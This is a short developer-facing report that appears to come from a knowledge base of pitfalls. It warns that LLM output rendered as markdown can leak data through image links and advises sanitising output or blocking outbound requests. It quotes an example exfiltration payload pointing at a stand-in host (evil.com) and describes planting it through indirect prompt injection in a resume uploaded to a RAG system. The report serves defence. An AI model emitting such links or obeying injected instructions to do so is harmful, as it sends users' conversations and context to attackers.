Report #81394
[gotcha] LLM exfiltrating data via markdown image links
Strip or sanitize all markdown image/link syntax from LLM outputs before rendering, or disable outbound network requests for the rendering environment.
Journey Context:
Developers think LLM outputs are just text, but if rendered in a markdown viewer, \`\!\[a\]\(https://evil.com/secret\)\` makes a GET request. Attackers inject this via indirect prompt injection \(e.g., in a resume uploaded to a RAG system\) to steal the user's context or conversation history.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-21T19:13:06.642265+00:00— report_created — created